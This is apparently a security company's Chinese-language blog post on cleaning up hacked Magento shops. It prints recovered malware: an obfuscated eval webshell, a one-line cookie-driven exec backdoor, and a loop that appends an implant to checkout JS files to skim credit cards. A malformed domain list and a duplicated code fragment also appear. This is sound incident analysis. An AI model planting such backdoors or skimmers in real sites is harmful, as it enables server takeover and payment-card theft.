如何处理Magento网站被黑客入侵和篡改

          Magento是最受欢迎的外贸电商框架之一,很多企业已经在其基础上进行了二次开发。然而,对于使用2.x版本的老系统来说,安全问题也成为了一大难题。有些客户在找我们SINESAFE做网站安全服务之前,客户也找过建站的公司去清除后门,建站公司也将系统迁移升级到了最新的2.4.4版本,但后来发现问题并没有完全的解决,还是会反复的被篡改代码和用户的支付页面被劫持跳转,问题的根源是代码里已经被黑客植入后门了,数据库也被留了木马病毒,这个时候不光是要升级magento到最新版本,还得要把木马后门给彻底的清理掉,做好安全加固和防护,才能彻底的解决这个问题。

magento-logo-1.png

因为2022年以前的Maganto 2.x版本存在很多漏洞,像远程代码执行漏洞、SQL注入漏洞都是比较高危的,如果不及时升级到2.x版本就很容易被黑客攻击。但是,即使升级到2.x版本,也不代表完全解决了安全问题。因此,针对这种情况,企业需要认真评估自身的安全风险,并采取措施进行安全加固。具体来说,可以通过加强访问控制、强化数据保护等方式来提高系统安全性。同时,定期对系统进行漏洞扫描和代码安全审计,及时修补代码漏洞和加强网站的安全防护,也是减轻安全风险的有效措施。

微信图片_20230510183350.png

我们SINE安全处理了很多外贸客户使用magento被黑客入侵的安全问题,虽然在国内Magento并不被广泛使用,但它在国外却十分流行。然而,一些老版本的Magento很容易被攻击者通过框架拿shell等方式入侵。以下就是我们SINE安全处理客户的magento被黑客攻击的过程记录:

微信图片_20230510183356.png

排查黑客攻击的问题时,很容易陷入只分析日志等细节的误区。其实,在进行任何分析之前,我们都需要先做以下几件事情:

第一,核实信息。这就像是我们在找错问题之前,需要先了解出现问题的具体细节和当前服务器的环境情况。

第二,断开服务器的外网链接,保障安全。这就像是把自家的大门关上,不让坏人轻松进入。

第三,保存服务器的环境,以及现场的各种信息,如端口网络、应用程序、日志文件等。这样,就像是在证据链中留下关键的线索,更有利于我们查找和分析问题,而且要注意不要有写操作哦!

在现场环境中,虽然我们可能无法找到确切的问题所在,但是可以通过查看历史日志,来检查是否存在服务器linux系统被提权等可疑行为。如果使用了chkrootkit、rkthunter和lynis等安全扫描工具,也未发现任何问题,那还是建议客户考虑更换服务器,以避免潜在的安全风险。

我们SINE安全首先从web层面去看,分析了网站访问日志,nginx日志,数据库日志发现有许多黑客攻击的痕迹,利用的都是Magento的一些高危漏洞进行的,也可以说明网站被入侵是由于magento低版本存在漏洞导致,我们立即展开对系统以及源代码的安全审计,人工去分析每一行代码,通过我们的检测,发现4个木马后门,如下:

<?php $VKGPOZ="JG\1061dGhfcGFzcyA9ICI2Yz\x454NmIwY2\x45\x34ZjFmY2JiO\107I0NGRmO\104gy\x4dTZl\x4dGNkN\x69I7CiRjb2xvc\x69A\x39ICIjZG\x59\061IjsKJGRlZm\x46\061bHRf\131\127\x4e0aW9uI\1040g\112\060ZpbGVz\124\127FuJzsKJGR\x6cZ\x6d\x461bH\x52fdXNlX2F\161YXg\147PSB0\x63\x6e\126\x6c\x4fwokZ\107VmYXVsdF9ja\x47Fyc2V0ID0gJ1dpbmRvd3MtMT\1111\115\x53\x637\103\147ppZighZ\x571\x77dHkoJF\071TRVJWRV\x4ab\x4a0hU\126FBfVVNFUl9B\x520VOV\x43d\144\113Skgew\157gICA\x67JH\x56zZXJBZ\062VudHM\147\120\123Bhcn\112heSgiR2\071v\x5a2x\x6cIiwg\111\x6c\116sdXJw\x49\151wgI\x6b1\x54Tk\112vdCI\163\x49C\112pYV9hcmN\157aXZlcibmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(base64_decode($VKGPOZ)); ?>

bmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(base64_decode($VKGPOZ)); ?>

<?php

var_dump(@exec(base64_decode($_COOKIE['callback'])));?>


foreach (glob("/www/wwwroot/dev.******.com/pub/static/_cache/merged/*.js") as $filename) {

        if (!preg_match("/lG68xv3NXN/", file_get_contents($filename))) {

            file_put_contents($filename, base64_decode($implant), FILE_APPEND);

            echo "updated: {$filename}\n";

        } else {

            echo "ok: {$filename}\n";

        }

    }

通过上面的代码我们可以发现都是一些webshell木马后门,像filemanPHP大马,一句话木马,以及定时篡改网站全部JS功能的代码,通过分析,我们SINE安全发现黑客入侵的目的不是为了挂马和挂黑链,而是为了盗取用户的信用卡信息,用于盗刷。我们对黑客植入到JS的代码进行了分析与解密,发现该JS代码是用来记录用户的信用卡信息,针对Magento支付相关页面(onepage|checkout|onestep|payment|transaction)中所有的表单信息,也会判断来路是从

 const domains =["securecode.com","psncdn.com","googleadservices.com","googletagmanager.com","google.com"];"apprater.net","shopperapproved.com","chromecast-setup.com","ssl-images-amazon.com","google.com"];的用户,会将信用卡的信息POST发送到黑客的指定网站上。

看来黑客的目的就是为了要盗取用户的信用卡信息,用于盗刷来获取巨大的利益。道高一尺魔高一丈,我们SINE安全十多年来一直与黑灰产进行对抗,通过此次帮客户处理的magento的安全问题,我们又总结了新的经验,也希望分享这个处理过程让大家有所收获。

分享:

相关推荐